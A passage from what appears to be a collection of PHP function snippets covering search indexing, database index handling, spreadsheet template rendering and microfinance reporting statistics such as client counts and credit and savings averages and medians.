{\n\t\t\t\t\t\t\tcase 'news':\n\t\t\t\t\t\t\tcase 'stat':\n\t\t\t\t\t\t\tcase 'loads':\n\t\t\t\t\t\t\t\t$text = $rec->getTitle() . ' ' . $rec->getMain() . ' ' . $rec->getTags();\n\t\t\t\t\t\t\t\tif (mb_strlen($text) < $this->minInputStr || !is_string($text))\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t$entity_view = '/view/';\n\t\t\t\t\t\t\t\t$module = $table;\n\t\t\t\t\t\t\t\t$entity_id = $rec->getId();\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 'posts':\n\t\t\t\t\t\t\t\t$text = $rec->getMessage();\n\t\t\t\t\t\t\t\t$entity_view = '/view_theme/';\n\t\t\t\t\t\t\t\t$module = 'forum';\n\t\t\t\t\t\t\t\t$entity_id = $rec->getId_theme();\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 'themes':\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t$text = $rec->gettitle() . ' ' . $rec->getMain() . ' ' . $rec->getTags();\n\t\t\t\t\t\t\t\tif (mb_strlen($text) < $this->minInputStr || !is_string($text))\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t$entity_view = '/view/';\n\t\t\t\t\t\t\t\t$module = $table;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t//we must update record if an exists\n\t\t\t\t\t\t$data = array(\n\t\t\t\t\t\t\t'index' => $text,\n\t\t\t\t\t\t\t'entity_id' => $entity_id,\n\t\t\t\t\t\t\t'entity_title' => $rec->getTitle(),\n\t\t\t\t\t\t\t'entity_table' => $table,\n\t\t\t\t\t\t\t'entity_view' => $entity_view,\n\t\t\t\t\t\t\t'module' => $module,\n\t\t\t\t\t\t\t'date' => new Expr('NOW()'),\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$entity = new SearchEntity($data);\n\t\t\t\t\t\t$entity->save();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n unlink($lock_file);\n\t}", "public function limparTabela(){\r\n\t\t$sql = 'DELETE FROM oficina';\r\n\t\t$consulta = $conexao->prepare($sql);\r\n\t\t$consulta->execute();\r\n\t}", "protected function reindex()\n\t{\n\t\t// rebuild the ordered collection\n\t\t$results = array();\n\t\tforeach ($this->_data as $old => $record)\n\t\t{\n\t\t\t$key = $record->{$this->_keyfield};\n\t\t\t$results[$key] = $record;\n\t\t}\n\t\t// sort the collection\n\t\tksort($results);\n\t\t// remember the new collection\n\t\t$this->_data = $results;\n\t\t// reset the cursor\n\t\treset($this->_data);\n\t}", "function index($model) {\n\t\t$index = array();\n\t\t$table = $this->fullTableName($model);\n\t\tif ($table) {\n\t\t\t$indexes = $this->query('SHOW INDEX FROM ' . $table);\n\t\t\tif (isset($indexes[0]['STATISTICS'])) {\n\t\t\t\t$keys = Set::extract($indexes, '{n}.STATISTICS');\n\t\t\t} else {\n\t\t\t\t$keys = Set::extract($indexes, '{n}.0');\n\t\t\t}\n\t\t\tforeach ($keys as $i => $key) {\n\t\t\t\tif (!isset($index[$key['Key_name']])) {\n\t\t\t\t\t$col = array();\n\t\t\t\t\t$index[$key['Key_name']]['column'] = $key['Column_name'];\n\t\t\t\t\t$index[$key['Key_name']]['unique'] = intval($key['Non_unique'] == 0);\n\t\t\t\t} else {\n\t\t\t\t\tif (!is_array($index[$key['Key_name']]['column'])) {\n\t\t\t\t\t\t$col[] = $index[$key['Key_name']]['column'];\n\t\t\t\t\t}\n\t\t\t\t\t$col[] = $key['Column_name'];\n\t\t\t\t\t$index[$key['Key_name']]['column'] = $col;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $index;\n\t}", "function dadosCadastros(){//função geral que será chamada na index\n pegaCadastrosJson();//pega os valores dos cadastros do arquivo JSON e salva em um array\n contaNumeroCadastros();//conta Quantos cadastros existem\n }", "public function reindexAll()\n {\n $this->_getIndexer()->rebuildIndex();\n }", "function getIndicesImpact($list_agence) {\n\n global $dbHandler,$global_id_agence;\n $db = $dbHandler->openConnection();\n $DATA['general']['nombre_moyen_gs']=0;\n $DATA['clients']['pp'] = 0;\n $DATA['clients']['homme'] = 0;\n $DATA['clients']['femme'] = 0;\n $DATA['clients']['pm'] = 0;\n $DATA['clients']['gi'] = 0;\n $DATA['clients']['gs'] = 0;\n $DATA['clients']['total']=0;\n $DATA['epargnants']['pp'] = 0;\n $DATA['epargnants']['homme'] = 0;\n $DATA['epargnants']['femme'] = 0;\n $DATA['epargnants']['pm'] = 0;\n $DATA['epargnants']['gi'] = 0;\n $DATA['epargnants']['gs'] = 0;\n $DATA['epargnants']['total']=0;\n $DATA['emprunteurs']['pp'] = 0;\n $DATA['emprunteurs']['homme'] = 0;\n $DATA['emprunteurs']['femme'] = 0;\n $DATA['emprunteurs']['pm'] = 0;\n $DATA['emprunteurs']['gi'] = 0;\n $DATA['emprunteurs']['gs'] = 0;\n $DATA['general']['total_membre_empr_gi'] = 0;\n $DATA['general']['total_membre_empr_gs'] = 0;\n $DATA['general']['nombre_moyen_gi'] =0;\n $DATA['general']['nombre_moyen_gs'] =0;\n $DATA['general']['gi_nbre_membre'] =0;\n $DATA['general']['gs_nbre_membre'] =0;\n $DATA['general']['gs_nbre_hommes'] =0;\n $DATA['general']['gs_nbre_femmes'] =0;\n $nb_agence=0;\n foreach($list_agence as $key_id_ag =>$value) {\n //Parcours des agences\n setGlobalIdAgence($key_id_ag);\n $nb_agence++;\n // Nombre de clients\n $sql = \"SELECT statut_juridique, pp_sexe, count(id_client) FROM ad_cli WHERE id_ag=$global_id_agence AND etat = 2 GROUP BY statut_juridique, pp_sexe\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n while ($row = $result->fetchrow(DB_FETCHMODE_ASSOC)) {\n if ($row['statut_juridique'] == 2) {\n $DATA['clients']['pm'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 3) {\n $DATA['clients']['gi'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 4) {\n $DATA['clients']['gs'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 1) {\n $DATA['clients']['homme'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 2) {\n $DATA['clients']['femme'] += $row['count'];\n }\n }\n\n $DATA['clients']['pp'] += $DATA['clients']['homme'] + $DATA['clients']['femme'];\n $DATA['clients']['total'] += $DATA['clients']['pp'] + $DATA['clients']['pm'] + $DATA['clients']['gi'] + $DATA['clients']['gs'];\n\n if ($DATA['clients']['pp'] == 0) {\n $DATA['clients']['pourcentage_homme'] = 0;\n $DATA['clients']['pourcentage_femme'] = 0;\n } else {\n $DATA['clients']['pourcentage_homme'] = $DATA['clients']['homme'] / $DATA['clients']['pp'];\n $DATA['clients']['pourcentage_femme'] = $DATA['clients']['femme'] / $DATA['clients']['pp'];\n }\n\n // Nombre d'épargnants\n $sql = \"SELECT statut_juridique, pp_sexe, count(id_client) FROM ad_cli WHERE id_ag=$global_id_agence AND (SELECT count(*) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_client = id_titulaire AND id_prod <> 2 AND id_prod <> 3 AND solde <> 0) > 0 GROUP BY statut_juridique, pp_sexe\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n while ($row = $result->fetchrow(DB_FETCHMODE_ASSOC)) {\n if ($row['statut_juridique'] == 2) {\n $DATA['epargnants']['pm'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 3) {\n $DATA['epargnants']['gi'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 4) {\n $DATA['epargnants']['gs'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 1) {\n $DATA['epargnants']['homme'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 2) {\n $DATA['epargnants']['femme'] += $row['count'];\n }\n }\n\n $DATA['epargnants']['pp'] += $DATA['epargnants']['homme'] + $DATA['epargnants']['femme'];\n $DATA['epargnants']['total'] += $DATA['epargnants']['pp'] + $DATA['epargnants']['pm'] + $DATA['epargnants']['gi'] + $DATA['epargnants']['gs'];\n\n if ($DATA['epargnants']['pp'] == 0) {\n $DATA['epargnants']['pourcentage_homme'] = 0;\n $DATA['epargnants']['pourcentage_femme'] = 0;\n } else {\n $DATA['epargnants']['pourcentage_homme'] = $DATA['epargnants']['homme'] / $DATA['epargnants']['pp'];\n $DATA['epargnants']['pourcentage_femme'] = $DATA['epargnants']['femme'] / $DATA['epargnants']['pp'];\n }\n\n\n // Nombre d'emprunteurs\n $sql = \"SELECT statut_juridique, pp_sexe, count(ad_cli.id_client) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) GROUP BY statut_juridique, pp_sexe\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n while ($row = $result->fetchrow(DB_FETCHMODE_ASSOC)) {\n if ($row['statut_juridique'] == 2) {\n $DATA['emprunteurs']['pm'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 3) {\n $DATA['emprunteurs']['gi'] += $row['count'];\n }\n elseif ($row['statut_juridique'] == 4) {\n $DATA['emprunteurs']['gs'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 1) {\n $DATA['emprunteurs']['homme'] += $row['count'];\n }\n elseif ($row['pp_sexe'] == 2) {\n $DATA['emprunteurs']['femme'] += $row['count'];\n }\n }\n\n $DATA['emprunteurs']['pp'] += $DATA['emprunteurs']['homme'] + $DATA['emprunteurs']['femme'];\n $DATA['emprunteurs']['total'] += $DATA['emprunteurs']['pp'] + $DATA['emprunteurs']['pm'] + $DATA['emprunteurs']['gi'] + $DATA['emprunteurs']['gs'];\n\n if ($DATA['emprunteurs']['pp'] == 0) {\n $DATA['emprunteurs']['pourcentage_homme'] = 0;\n $DATA['emprunteurs']['pourcentage_femme'] = 0;\n } else {\n $DATA['emprunteurs']['pourcentage_homme'] = $DATA['emprunteurs']['homme'] / $DATA['emprunteurs']['pp'];\n $DATA['emprunteurs']['pourcentage_femme'] = $DATA['emprunteurs']['femme'] / $DATA['emprunteurs']['pp'];\n }\n\n // Nombre total de membres emprunteurs par groupe informel\n $sql = \"SELECT SUM(ad_cli.gi_nbre_membr) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) AND ad_cli.statut_juridique = 3\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['total_membre_empr_gi'] += round($row[0]);\n\n // Nombre total de membres emprunteurs par groupe solidaire\n $sql = \"SELECT SUM(ad_cli.gi_nbre_membr) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) AND ad_cli.statut_juridique = 4\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['total_membre_empr_gs'] += round($row[0]);\n\n // Nombre total d'hommes groupe solidaire\n $sql = \"SELECT count(*) FROM ad_grp_sol,ad_cli where id_client=id_membre AND pp_sexe= 1 \";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['total_homme_gs'] = round($row[0]);\n // Nombre total de femmes groupe solidaire\n $sql = \"SELECT count(*) FROM ad_grp_sol,ad_cli where id_client=id_membre AND pp_sexe= 2 \";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['total_femme_gs'] = round($row[0]);\n\n // Nombre moyen de membres par groupe informel\n $sql = \"SELECT AVG(ad_cli.gi_nbre_membr) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) AND ad_cli.statut_juridique = 3\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['nombre_moyen_gi'] += round($row[0]);\n\n // Nombre moyen de membres par groupe solidaire\n $sql = \"SELECT AVG(ad_cli.gi_nbre_membr) FROM ad_cli, ad_dcr WHERE ad_cli.id_ag=$global_id_agence AND ad_cli.id_ag=ad_dcr.id_ag AND ad_cli.id_client = ad_dcr.id_client AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15) AND ad_cli.statut_juridique = 4\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $DATA['general']['nombre_moyen_gs'] += round($row[0]);\n }\n $DATA['general']['nombre_moyen_gi']=$DATA['general']['nombre_moyen_gi']/$nb_agence;\n $DATA['general']['nombre_moyen_gs']=$DATA['general']['nombre_moyen_gs']/$nb_agence;\n $dbHandler->closeConnection(true);\n return $DATA;\n}", "public function reindexAll()\n {\n\n //@todo: indexers should be dynamically injected. Probable via `$this->getIndeces()`\n /** @var St_SphinxSearch_Model_Fulltext $fulltextIndex */\n $fulltextIndex = Mage::getModel('st_sphinxsearch/fulltext');\n\n $fulltextIndex->rebuildIndex();\n\n return;\n /** @var Mage_Core_Model_Resource $resourceSingleton */\n $resourceSingleton = Mage::getSingleton('core/resource');\n\n /** @var Varien_Db_Adapter_Interface $writeAdapater */\n $writeAdapater = $resourceSingleton->getConnection('core_write');\n\n /** @var Varien_Db_Adapter_Interface $readAdapter */\n $readAdapter = $resourceSingleton->getConnection('core_read');\n\n /** @var string $tableName */\n $tableName = $readAdapter->getTableName('st_sphinxsearch_fulltext_tmp');\n\n /** @var Mage_CatalogSearch_Model_Resource_Indexer_Fulltext $indexerFulltext */\n $indexerFulltext = Mage::getResourceModel('catalogsearch/indexer_fulltext');\n\n $fulltextTableName = $indexerFulltext->getTable('fulltext');\n\n $sql = \"CREATE TABLE IF NOT EXISTS `$tableName` LIKE `$fulltextTableName`\";\n\n $writeAdapater->query($sql);\n $t=1;\n }", "function doIndex() {\n $ret = array();\n if( $this->statement->rowCount() > 0 ) {\n $data = $this->statement->fetchAll($this->fetch_style);\n } else {\n $data = array();\n }\n\n foreach( $data as $line ) {\n if( !isset($line[$this->index[0]]) ) {\n throw new Exception(\n \"Index '\" . $this->index[0] . \"' does not exist in data.\"\n );\n }\n $key = $line[$this->index[0]];\n\n if( count($this->index) == 1 ) {\n $ret[$key] = $line;\n } else {\n $key2 = $line[$this->index[1]];\n if( !isset($ret[$key]) ) $ret[$key] = array();\n $ret[$key][$key2] = $line;\n }\n }\n if( $this->sticky == false ) $this->setDefaults();\n return( $ret );\n }", "private function resetIndex()\n\t{\n\t\t// remove any non-existant links\n\t\t$sql = sprintf('DELETE FROM crawl_index WHERE last_update < \"%s\"', date('Y-m-d H:i:s', strtotime('-2 weeks')));\n\t\tmysql_query($sql, $this->db);\n\n\t\t// update all inbound link counters to 1\n\t\tmysql_query('UPDATE crawl_index SET `count` = 1');\n\n\t\t// optimize the table due to the deletions\n\t\tmysql_query('OPTIMIZE TABLE crawl_index');\n\t}", "public function checkTableIndex(){\n\t\t$db = $this->db;\n\t\t\n\t\t$sql = \"SELECT * FROM dataset WHERE table_num <= 1\";\n\t\t\n\t\t$result = $db->fetchAll($sql, 2);\n\t\t\n\t\tforeach($result AS $row){\n\t\t\t$cacheID = $row[\"cache_id\"];\n\t\t\t$tableId = OpenContext_TableOutput::tableID_toURL($cacheID);\n\t\t\t$noid = $row[\"noid\"];\n\t\t\t$created = $row[\"created_on\"];\n\t\t\t\n\t\t\tif(!stristr($tableId, \"http://\")){\n\t\t\t\t$host = OpenContext_OCConfig::get_host_config();\n\t\t\t\t$tableId = $host.\"/tables/\".$tableId;\n\t\t\t}\n\t\t\t\n\t\t\t$sql = \"SELECT * FROM noid_bindings WHERE itemUUID = '$cacheID' LIMIT 1\";\n\t\t\t$resultB = $db->fetchAll($sql, 2);\n\t\t\t\n\t\t\tif(!$resultB){\n\t\t\t\t$data = array(\"noid\" => $noid,\n\t\t\t\t\t\t\t \"itemType\" => \"table\",\n\t\t\t\t\t\t\t \"itemUUID\" => $cacheID,\n\t\t\t\t\t\t\t \"itemURI\" => $tableId,\n\t\t\t\t\t\t\t \"public\" => 0,\n\t\t\t\t\t\t\t \"solr_indexed\" => 0\n\t\t\t\t\t\t\t );\n\t\t\t\t$db->insert(\"noid_bindings\", $data);\n\t\t\t}\n\t\t\t\n\t\t}//end loop\n\t\n\t}", "public function resetIndex()\n {\n $this->setIndex(0);\n }", "function ods_analyze_data() {\n $results_level1 = array();\n foreach ($this->schema['named-range'] as $range) {\n $range_name = $range['name'];\n switch ($range['level']) {\n case 1:\n if (!empty($this->data[$range_name])) {\n // get all rows elements on this range\n //foreach($this->data[ $range_name ] as $data_level1){\n //row cycle\n $results_level1[$range_name]['rows'] = $this->ods_render_range($range_name, $this->data);\n }\n break;\n }\n }\n if ($results_level1){\n $sheet = $this->dom\n ->getElementsByTagName('table')\n ->item(0);\n \n foreach ($results_level1 as $range_name => $result){\n \n //delete template on the sheet\n $in_range = false;\n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('range_name')\n && $row->getAttribute('range_name') == $range_name\n && $row->hasAttribute('range_start')\n \n ){\n $results_level1[ $range_name ]['start'] = $row;\n $in_range = true;\n }\n \n if ($in_range){\n $row->setAttribute('remove_me_please', 'yes');\n }\n \n if ($row->hasAttribute('range_name')\n \n && $row->hasAttribute('range_end')\n && in_array($range_name, explode(',', $row->getAttribute('range_end')) )\n ){\n $results_level1[ $range_name ]['end'] = $row;\n $in_range = false;\n } \n \n }\n \n //insert data after end \n foreach ( $results_level1[$range_name]['rows'] as $row ){\n $results_level1[ $range_name ]['start']\n ->parentNode\n ->insertBefore($row, $results_level1[ $range_name ]['start']);\n }\n \n }\n \n //clear to_empty rows\n $remove_rows = array();\n \n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('remove_me_please')){\n $remove_rows[] = $row;\n }\n }\n \n foreach ($remove_rows as $row){\n $row->parentNode->removeChild($row);\n }\n \n //after this - rows count is CONSTANT\n if (!empty( $this->hasFormula )){\n $this->ods_recover_formula();\n }\n \n }\n }", "public function reset_indices($pub, $author, $journal) {\n\t\t$query = \"ALTER TABLE publication AUTO_INCREMENT $pub\";\n\t\t$this->mysqliconnect($query);\n\t\t$query = \"ALTER TABLE author AUTO_INCREMENT $author\";\n\t\t$this->mysqliconnect($query);\n\t\t$query = \"ALTER TABLE journal AUTO_INCREMENT $journal\";\n\t\t$this->mysqliconnect($query);\n\t}", "public function optimizeIndex()\n {\n // either open or create the index\n $this->index = $this->openIndex(APPLICATION_PATH . '/data/search/jobs');\n $this->index->optimize();\n }", "function getIndicesCouverture($list_agence) {\n\n global $dbHandler;\n global $global_monnaie,$global_id_agence;\n\n $db = $dbHandler->openConnection();\n $DATA['nombre_credits'] = 0;\n $DATA['encours_brut'] = 0;\n $DATA['nombre_epargne'] = 0;\n $DATA['total_epargne'] = 0;\n $DATA['taux_renouvellement_credits'] = 0;\n $DATA['first_credit_moyen'] = 0;\n $DATA['first_credit_median'] = 0;\n $DATA['credit_moyen'] = 0;\n $DATA['credit_median'] = 0;\n $DATA['epargne_moyen_cpte'] = 0;\n $DATA['epargne_median_cpte'] = 0;\n $DATA['epargne_moyen_client'] = 0;\n $DATA['epargne_median_client'] = 0;\n foreach($list_agence as $key_id_ag =>$value) {\n //Parcours des agences\n setGlobalIdAgence($key_id_ag);\n // Nombre de crédits actifs\n $sql = \"SELECT COUNT(*) FROM ad_dcr WHERE id_ag=$global_id_agence AND etat = 5 OR etat = 7 OR etat = 13 OR etat = 14 OR etat = 15\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $nombre_credits = $row[0];\n\n // Encours brut\n $sql = \"SELECT SUM(calculeCV(solde_cap, devise, '$global_monnaie')) FROM ad_etr, ad_dcr, adsys_produit_credit WHERE ad_etr.id_ag=$global_id_agence AND ad_etr.id_ag=ad_dcr.id_ag AND ad_dcr.id_ag=adsys_produit_credit.id_ag AND ad_etr.id_doss = ad_dcr.id_doss AND ad_dcr.id_prod = adsys_produit_credit.id AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15)\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $encours_brut = $row[0];\n\n // Nombre de comptes d'épargne\n $sql = \"SELECT COUNT(*) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 \";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $nombre_epargne = $row[0];\n\n // Volume total d'épargne\n $sql = \"SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $total_epargne = $row[0];\n\n // Nombre de crédits relais consentis\n $sql = \"SELECT count(id_doss) FROM ad_dcr a WHERE (a.id_ag=$global_id_agence) AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND a.date_etat BETWEEN date_trunc('year', current_date) AND current_date AND EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 and b.date_etat < a.date_etat AND a.id_client = b.id_client)\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credits_relais = $row[0];\n\n // Crédits remboursés\n $sql = \"SELECT count(id_doss) FROM ad_dcr WHERE id_ag=$global_id_agence AND etat = 6 AND date_etat BETWEEN date_trunc('year', current_date) AND current_date\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credits_rembourses = $row[0];\n\n // Calcul du taux\n if ($credits_rembourses > 0) {\n $taux_renouvellement_credits = $credits_relais / $credits_rembourses;\n } else {\n $taux_renouvellement_credits = NULL;\n }\n\n // Moyenne premiers crédits\n $sql = \"SELECT AVG(calculeCV(cre_mnt_octr, devise, '$global_monnaie')) FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date AND NOT EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 AND b.date_etat < a.cre_date_debloc AND a.id_client = b.id_client)\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $first_credit_moyen = $row[0];\n\n // Médiane premiers crédits\n $sql = \"SELECT calculeCV(cre_mnt_octr, devise, '$global_monnaie') FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date AND NOT EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 AND b.date_etat < a.cre_date_debloc AND a.id_client = b.id_client) ORDER BY calculeCV(cre_mnt_octr, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredit = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredit, $row[0]);\n }\n\n $taille = sizeof($tableauCredit);\n if ($taille == 0) {\n $first_credit_median = NULL;\n }\n elseif ($taille % 2 == 1) {\n $first_credit_median = $tableauCredit[($taille -1) / 2];\n }\n else {\n $first_credit_median = ($tableauCredit[($taille) / 2] + $tableauCredit[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne crédit\n $sql = \"SELECT AVG(calculeCV(cre_mnt_octr, devise, '$global_monnaie')) FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credit_moyen = $row[0];\n\n // Médiane crédit\n $sql = \"SELECT calculeCV(cre_mnt_octr, devise, '$global_monnaie') FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (etat = 5 OR etat = 7 OR etat = 13 OR etat = 14 OR etat = 15)\n ORDER BY calculeCV(cre_mnt_octr, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredit = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredit, $row[0]);\n }\n\n $taille = sizeof($tableauCredit);\n if ($taille == 0) {\n $credit_median = NULL;\n }\n elseif ($taille % 2 == 1) {\n $credit_median = $tableauCredit[($taille -1) / 2];\n }\n else {\n $credit_median = ($tableauCredit[($taille) / 2] + $tableauCredit[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne épargne par compte\n $sql = \"SELECT AVG(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $epargne_moyen_cpte = $row[0];\n\n // Médiane épargne par compte\n $sql = \"SELECT calculeCV(solde, devise, '$global_monnaie') FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0 ORDER BY calculeCV(solde, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredits = array ();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredits, $row[0]);\n }\n\n $taille = sizeof($tableauCredits);\n if ($taille == 0) {\n $epargne_median_cpte = NULL;\n }\n elseif ($taille % 2 == 1) {\n $epargne_median_cpte = $tableauCredits[($taille -1) / 2];\n }\n else {\n $epargne_median_cpte = ($tableauCredits[($taille) / 2] + $tableauCredits[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne épargne par client\n $sql = \"SELECT AVG(t.sum) FROM (SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND 